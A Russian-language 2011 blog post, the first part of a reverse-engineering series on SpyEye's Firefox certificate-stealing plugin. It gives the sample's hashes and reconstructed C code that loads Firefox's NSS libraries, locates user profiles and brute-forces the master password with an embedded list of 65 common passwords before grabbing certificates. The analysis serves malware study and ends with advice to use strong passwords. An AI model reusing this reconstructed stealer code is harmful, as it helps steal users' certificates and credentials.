пятница, 16 сентября 2011 г.

Часть 1: SpyEye и FireFox (plugin ffcertcrabber.dll)

SpyEye(Pincav) - известный хакерский тулкит, предназначеный для кражи персональных данных , паролей к банковским системам, вообщем 1001 способ нечестного отъема денег =). Только с начала 2011 года с использованием SpyEye было украдено более чем 3,2$ миллиона, только одной из групп =) От как, ну мы оставим эти цифры забугорным и отчественным аналитикам да статистам, а займемся мы тем , что будем понемногу реверсить код этого трояна и его плагинов.

ffcertcrabber.dll - Крадем сертификаты FireFox
Размер: 10240 байт
Дата создания: 22.05.11
Источник: www.kernelmode.info
Virustotal: www.virustotal.com
MD5- 190339a245f2b3684fd2ef0cf0515d0c
SHA1 - 3347e9ccd0a4cec7bd8c86fdf6f39592f430d311
SHA256 - 73e22ebab4f1fe5dea1d4d45af9138b78cdf4a755c0483058ffa01584e57886a
RIPEMD160 - 0f1e75db328846ca505f2c58805f08dae7566225


Т.к базовая комплектация Spyeye занимается только граббингом сертификатов из криптохранилища Windows  в состав трояна был добавлен плагин для похищения сертификатов из браузера FireFox.

Плагином экспортируется 7 функций, страндартно для SpyEye , нам более всего интересно будет посмотреть функцию Start, т.к. тут будет идти самая работа.  Вызов функции инициируется командой от gate'а главной панели управления. Вызов происходит в отдельном потоке.



char Start(DWORD Tid) {
  DWORD ThreadId;

  ThreadId = Tid;
  if ( !hThread )
    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShedulMasterPassBrute, 0, 0, &ThreadId);
  return 1;
}


ShedulMasterPassBrute - функция потока для брута мастер пароля от хранилища сертификатов FireFox'a будет пытаться подобрать мастер пароль, перриодически зазыпая на рандомное колчиство милисекунд,
а вслучае удачи сграбливать сертификаты и отсылать его в C&C SpyEye


int ShedulMasterPassBrute(LPVOID Param) {
  DWORD sleeptime;
  DWORD rndnum;

  if ( runningflag )
  {
    rndnum = 0;
    for ( sleeptime = 1000 * RtlRandom(&rndnum) % (unsigned int)gThreadID; ; sleeptime = 43200000 )
    {
      Sleep(sleeptime);
      TryGetMasterPassword();
    }
  }
  return 0;
}

Собственно функция TryGetMasterPassword делает такую важную штуку как загрузку необходимых для работы плагина динамических библиотек (nss3.dll, smime3.dll, nspr4.dll) и функций. Сначал было хотел возмутиться нафиг автор
каждый раз пытается загрузить либы и функции, типа не оптимально, а потом подумал, ну мож во время Sleep'a потока ShedulMasterPassBrute, FireFox был неожиданно установлен/удален, и не стал возмущатся =)

char * TryGetMasterPassword() {
... skip

  char FullFireFoxProfilePath2[260];
  char FullFireFoxProfilePath[260];

  memset(&FullFireFoxProfilePath2[0], 0, MAX_PATH);
  memset(&FullFireFoxProfilePath[0], 0, MAX_PATH);

  FullPath = GetFireFoxFullPath();
  if ( FullPath )
  {
    LibFlag = (char *)LoadAllFireFoxLibrary(Result);    
    if ( LibFlag )
    {
     ... skip

      Result = (char *)GetModuleHandleA("nss3.dll");// BaseAddr lib
      if ( Result )
      {
        Result = (char *)Nss3_RtlApi(Result);
        if ( Result )
        {
          Result = (char *)GetModuleHandleA("smime3.dll");
          if ( Result )
          {
            Result = (char *)Smime3_RtlApi(Result);
            if ( Result )
            {
              Result = (char *)GetModuleHandleA("nspr4.dll");
              if ( Result )
              {
                fnPR_ExplodeTime = GetProcAddress(Result, "PR_ExplodeTime");
                if ( fnPR_ExplodeTime )
                {
                 ...
        skip
         ...
           if ( AppDataPath )
                    {
                      Count = 0;
                      do
                      {
                        step = Count + 48;
                        SHGetFolderPathA(0, CSIDL_APPDATA, 0, 0, AppDataPath);
                        strcat(AppDataPath, "\\Mozilla\\Firefox\\profiles.ini");
                        Result = (char *)GetPrivateProfileStringA(
                                           "Profile",
                                           "Path",
                                           0,
                                           (LPSTR)PathProfile,
                                           260u,
                                           AppDataPath);
                        if ( Result )
                        {
                          if ( GetPrivateProfileIntA("Profile", "IsRelative", 0, AppDataPath) )
                          {
                            SHGetFolderPathA(0, CSIDL_APPDATA, 0, 0, AppDataPath);
                            strcat(AppDataPath, "\\Mozilla\\Firefox\\");
                            strcat(AppDataPath, (const char *)PathProfile);
                            strcpy(FullFireFoxProfilePath, AppDataPath);
                          }
                          else
                          {
                            strcpy(FullFireFoxProfilePath, (const char *)PathProfile);
                          }
                          strcpy(FullFireFoxProfilePath2, FullFireFoxProfilePath);
                          Result = (char *)fnNSS_Init(FullFireFoxProfilePath);//
                                                // Sets up configuration files and performs other
                                                // tasks required to run Network Security Services.
                                                // Database files are opened read-only
                          if ( !Result )
                          {
                            if ( BruteFireFoxMasterPassword() )// 1 - success
                            {
                              fnPORT_SetUCS2_ASCIIConversionFunction(P12u_Ucs2_Ascii_conversion);// PORTCharConversionWSwapFunc convFunc
                              GrabCerticateFF();
                            }
                            Result = (char *)fnNSS_Shutdown(v11);// Closes the key and certificate databases that were opened by NSS_Init.
                          }
                        }
                        ++Count;
                      }
                      while ( Count < 9 );
                    }
                    else
                    {
                      ... skip
           
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  return Result;
}


Функция GetFireFoxFullPath - получаем полный путь FireFOx'a

char * GetFireFoxFullPath() {
    char *result = 0;
    char *FireFoxPath;
    HANDLE hHeap;
    char pszDir[MAX_PATH];


    memset(pszDir, 0, sizeof(pszDir));
    FireFoxPath = (char *)malloc(sizeof(char) * MAX_PATH + 1);

    if ( SHGetFolderPathA(0, CSIDL_PROGRAM_FILES, 0, 0, &pszDir) >= 0 ) {
        sprintf(FireFoxPath, "%s\\Mozilla Firefox", pszDir);
        result = FireFoxPath;
    } else {
        result = 0;
    }
    return result;
}

LoadAllFireFoxLibrary , как и следует из названия, загружает все библиотеки по списку, я типа немного переработал ее =) чет мне показалось совсем коряво оно выглядело в оригинале =))) (звиняйте хлопцы, бананьев нема )

struct
{
 char *lib;
 unsigned long ba;
} Libs [] =    {
    { "mozcrt19.dll", 0},
    { "nspr4.dll", 0},
    { "plds4.dll", 0},
    { "plc4.dll", 0},
    { "sqlite3.dll", 0},
    { "nssutil3.dll", 0},
    { "softokn3.dll", 0},
    { "nss3.dll", 0},
    { "smime3.dll", 0},
    { NULL, 0}
},TableLibs;

int LoadAllFireFoxLibrary(LPCSTR pszDir) {
    int index = 0;
    int result = 1;  // будем оптимистами - 1 - флаг того что все либы загрузились
    char LibFileName[260];
    HMODULE hLib;

    while (Libs[index].lib) {

        memset(LibFileName, 0, sizeof(LibFileName));

        sprintf(LibFileName, "%s\\%s", pszDir, Libs[index].lib);
        hLib = LoadLibraryA(LibFileName);
        if ( !hLib ) {
            result = 0;
            break;
        }
        index++;
    }
    return result;
}
 Задаем тип и обявлем переменую для функции, для примера так будет объявлена fnNSS_Init:
typedef SECStatus (CDECL *NSS_INIT)(const char);
NSS_INIT fnNSS_Init;
и собственно рантайм API

bool Nss3_RtlApi(HMODULE hLib) {

  fnNSS_Init = GetProcAddress(hLib, "NSS_Init");
  fnNSS_Shutdown = GetProcAddress(hLib, "NSS_Shutdown");
  fnPK11_ListCerts = GetProcAddress(hLib, "PK11_ListCerts");
  fnCERT_DestroyCertList = GetProcAddress(hLib, "CERT_DestroyCertList");
  fnPK11_IsFIPS = GetProcAddress(hLib, "PK11_IsFIPS");
  CERT_GetDefaultCertDB = GetProcAddress(hLib, "CERT_GetDefaultCertDB");
  fnSECITEM_DupItem = GetProcAddress(hLib, "SECITEM_DupItem");
  fnSECITEM_ZfreeItem = GetProcAddress(hLib, "SECITEM_ZfreeItem");
  fnPORT_UCS2_UTF8Conversion = GetProcAddress(hLib, "PORT_UCS2_UTF8Conversion");
  fnPORT_SetUCS2_ASCIIConversionFunction = GetProcAddress(hLib, "PORT_SetUCS2_ASCIIConversionFunction");
  fnPK11_GetInternalKeySlot = GetProcAddress(hLib, "PK11_GetInternalKeySlot");
  fnPK11_FreeSlot = GetProcAddress(hLib, "PK11_FreeSlot");
  fnPK11_CheckUserPassword = GetProcAddress(hLib, "PK11_CheckUserPassword");
  fnCERT_GetCommonName = GetProcAddress(hLib, "CERT_GetCommonName");
  fnPORT_Free = GetProcAddress(hLib, "PORT_Free");
  fnCERT_GetCertTimes = GetProcAddress(hLib, "CERT_GetCertTimes");
  return fnNSS_Init
      && fnNSS_Shutdown
      && fnPK11_ListCerts
      && fnCERT_DestroyCertList
      && fnPK11_IsFIPS
      && fnSECITEM_ZfreeItem
      && fnSECITEM_DupItem
      && fnPORT_UCS2_UTF8Conversion
      && fnPORT_SetUCS2_ASCIIConversionFunction
      && CERT_GetDefaultCertDB
      && fnCERT_GetCommonName
      && fnPORT_Free
      && fnCERT_GetCertTimes;
}

Аналогичным образом динамически подгружаем API из других dll(smime3.dll, nspr4.dll итд).

Интересная процедура брутфорса мастер пароля, в плагин уже зашит список часто используемых паролей пользователями, если PK11_CheckUserPassword возвращает 0 - success , значит нам повезло и пароль найден, можно идти и забирать все =) вполне себе правильное и логичное решение.

PeoplePassTable - табличка очень часто используемых паролей , аж целых 65 штук и действительно встречаются такие =)

"admin", "qwerty", "12345", "sex", "virus", "market", "zaza", "1234567890", "porn", "crazy", "business", "love", "money", "stealit", "secret", "qwertyuiop", "bugger", "hacker", "god", "hitler", "1488", "hunter", "shark", "bandit", "holly", "acab", "viking", "wease", "vodka", "usa", "bear", "hammerhead", "firefox", "gucci", "ferrari", "luxury", "casual", "anal", "punk", "black", "root", "111", "123", "1234", "asdf", "server",  "asdfgh", "1", "blank", "!@#$", "!@#$%", "!@#$%^&", "sww", "wire", "cvv2", "gostev", "bmw", "bugatti", "ferrari", "stock", "porche", "mustang", "satan", "666", "z0mbie"

bool  BruteFireFoxMasterPassword()
{
  PK11SlotInfo * slot;
  bool ret;
  int SecRes;
  unsigned int index;
  int SECResult;
  char *PeoplePassTable;
  int countpass = 65;

  ret = 0;
  slot = fnPK11_GetInternalKeySlot();           // return ptr to struct PK11SlotInfo
  if ( slot )
  {
    SecRes = fnPK11_CheckUserPassword(slot, &PwdEmpty);    //the master password. If no master password is set
                                                    // then you can pass an empty string. EMPTY, NOT NULL!
    ret = SecRes == 0;
    if ( SecRes != 0 )
    {
      index = 0;
      do
      {
        SECResult = fnPK11_CheckUserPassword(slot, &PeoplePassTable[4*index]);
        ret = SECResult == 0;
        if ( SECResult == 0 )
          break;
        ++index;
      }
      while ( index < countpass );
    }
    fnPK11_FreeSlot(slot);
  }
  return ret;
}
Вот так, действуя влоб авторы трояна SpyEye уводят сертификаты из защищенного хранилица FireFox'a , ведь довольно много людей совсем не устанавливают мастер пароль, а еще больше устанавливают простой пароль. Вывод как всегда: надежные пароли еще не кому не вредили =) Тут я еще не расмотрел саму основную функцию грабинка сертификатов - GrabCerticateFF, добавлю позже.
Продолжение следует ...

Комментариев нет:

Отправить комментарий